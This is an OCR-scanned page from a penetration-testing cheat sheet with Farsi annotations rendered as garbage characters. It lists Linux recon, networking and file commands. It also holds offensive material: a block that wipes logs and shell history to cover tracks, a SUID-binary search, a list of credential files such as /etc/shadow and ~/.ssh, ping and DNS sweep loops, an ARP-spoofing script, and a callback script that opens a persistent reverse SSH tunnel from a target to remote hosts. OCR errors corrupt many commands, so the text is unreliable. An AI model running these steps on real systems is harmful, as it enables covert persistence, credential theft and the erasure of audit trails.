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I§head
watch ss -tp
netstat -ant
netstat -tulpn
Isof -i
smb://ip /share
share user x.x.x.x ¢S
smbclient -U user \\\\ ip \\ share
ifconfig eth# ip / cidr
ifconfig ethO:l ip / cidr
route add default gw gw_ip
ifconfig eth# mtu [size]
export MAC=XX: XX: XX: XX: XX: XX
ifconfig int hw ether MAC
macchanger -m MAC int
iwlist int scan
dig -x ip
host ip
host -t SRV _ service _tcp.url.com
dig @ ip domain -t AXrR
host -1 domain namesvr

ip xfrm state list
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ip addr add ip / cidr dev ethO

/var/log/messages | grep DHCP

tepkill host ip and port port

echo "1" /proc/sys/net/ipv4/ip_forward

echo "nameserver x.x.x.x" /etc/resolv.conf

e
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nbtstat -A ip
id

w

who -a

last -a

ps -ef

df -h

uname -a
mount

getent passwd
PATH=$PATH:/home/mypath
kill pid

cat /etc/issue

cat /etc/'release’
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cat /proc/version
rpm --query -all
rpm -ivh *.rpm
dpkg -get-selections

dpkg -I *.deb

pkginfo
which tscsh/csh/ksh/bash

chmod 50 tesh/csh/ksh
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wget http:// url -O url.txt -o /dev/null
rdesktop ip

scp /tmp/file user@x.x.x.x:/tmp/file

scp user@ remoteip :/tmp/file /tmp/file
useradd -m user

passwd user

rmuser unarne

script -a outfile

apropos subject

history
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touch -r ref_file file

touch -t YYYYMMDDHHSS file
sudo fdisk -1

mount /dev/sda# /mnt/usbkey
md5sum -t file

echo -n “str” | md5sum
shalsum file

sort -u

grep -c "'str" file

tar cf file.tar files

tar xf file.tar

tar czf file.tar.gz files

tar xzf file.tar.gz

tar cjf file.tar.bz2 files

tar xjf file.tar.bz2

gzip file
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gzip -d file.gz
upx -9 -0 out.exe orig.exe

zip -r zipname.zip \Directory\

dd skip=I000 count=2000 bs=8 if=file
of=file

split -b 9K \ file prefix
awk 'sub("$"."\r")" unix.txt win.txt
find -iname file -type .pdf

find / -perm -4000 -0 -perm -2000 -
execls-ldb {}\;

dos2unix file
file file

chattr (+/-)i file
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I§head
unset HISTFILE
ssh user@ip arecord - | aplay -
gcc -o outfile myfile.c
init 6

cat /etc/syslog.conf | grep -v " #"

grep 'href='file | cut -d"/" -f3 | grep url | sort -u

dd if=/dev/urandom of=file bs=3145728

count=100
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echo "" /var/log/auth.log auth.log Ll ;o S S
echo """ ~/.bash history Bash ,u ,u S 598 dads )5 oS Sk
rm ~/.bash histor/ -rf bash_history Ll ;s < SU
history -c S duda daan )6 00 S SL
export HISTFILESIZE=0 0 4 43,5 © bgye boghad iy ki
export HISTSIZE=0 0 92,5 (layguos ddin aala's
unset HISTFILE osbie 4) aleuri 45 0559 4l OaS Jlas e

(3019 plewscs S zosa 4 Sl LA 556
kill -9 $$ oS dls 4 gols dasla
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/proc
/root
/sbin
/tmp
Jusr

Jvar

Jalé als
/etc/shadow
/etc/passwd

/etc/group

Jetc/rc.d

/etc/init.d

/etc/hosts
/etc/HOSTNAME
/etc/network/interfaces
/etc/profile
/etc/apt/sources.list

/etc/resolv.conf
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/home/user/.bash_history (/root/ yinan) Bash 4 b g 5o aads )15
/usr/share/wireshark/manuf MAC (o0l 50 il 53 L i g 58 (5 92 gucun
~/.ssh/ SSH sad s uad slawK
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PING SWEEP

forxin{l..254..1};do ping-c11.1.1.5x | grep "64 b" | cut-d " " -f4 ips.txt; done

dials Al Jud § s )l LIS 93 51y Bash cus Sl

#!/bin/bash

echo "Enter Class C Range: i.e. 192.168.3"

read range

foripin{l..254..1};do

host Srange.Sip | grep “name pointer” | cut -d “ “ -f5
done

(435 7 o g’ piuascs 4S 55 5 Lautil 9 o) Fork caas
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foripin{l..254 ..1}; do dig-x 1.1.1.Sip | grep Sip dns.txt; done;

IP (uyS o garue Caas ySeul

#!/bin/sh

# This script bans any IP in the /24 subnet for 192.168.1.0 starting at 2
# It assumes 1 is the router and does not ban IPs .20, .21, .22

i=2

while

While [Si-le 253 ]

do
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if [ Si -ne 20 -a Si-ne 21 -a Si-ne 22 ]; then
echo "BANNED: arp -s 192.168.1.5i"
arp -s 192.168.1.5i 00:00:00:00:00:0a
else
echo ”IP NOT BANNED. 192.168-1.$|******************************"
echo €03k sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk ok sk ok sk ok sk ok sk ok skokkkkkkkkkkkkkkkkkkkkkkkk/
fi
i='expr Si +1'
done
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(wS soliiol #ssh -p4040 localhost 51 s Jle u) 8 g g0 Joalo Bua 45 SSH

#1/bin/sh
# Callback script located on callback source computer (target).
killall ssh /dev/null 2 &1
sleep 5
REMLIS=4040
REMUSR=user
HOSTS="domainl.com domain2.com domain3.com"
for LIVEHOST in SHOSTS;
do
COUNT=S(ping -c2 SLIVEHOST | grep 'received' | awk -F',' '{print $2}' |
awk ' { print $1}")
if [[ SCOUNT -gt01]; then

ssh -R S{REMLIS}:localhost:22 -i
"/home/S{REMUSR}/.ssh/id_rsa" -N S{LIVEHOST} -1 S{REMUSR}
fi





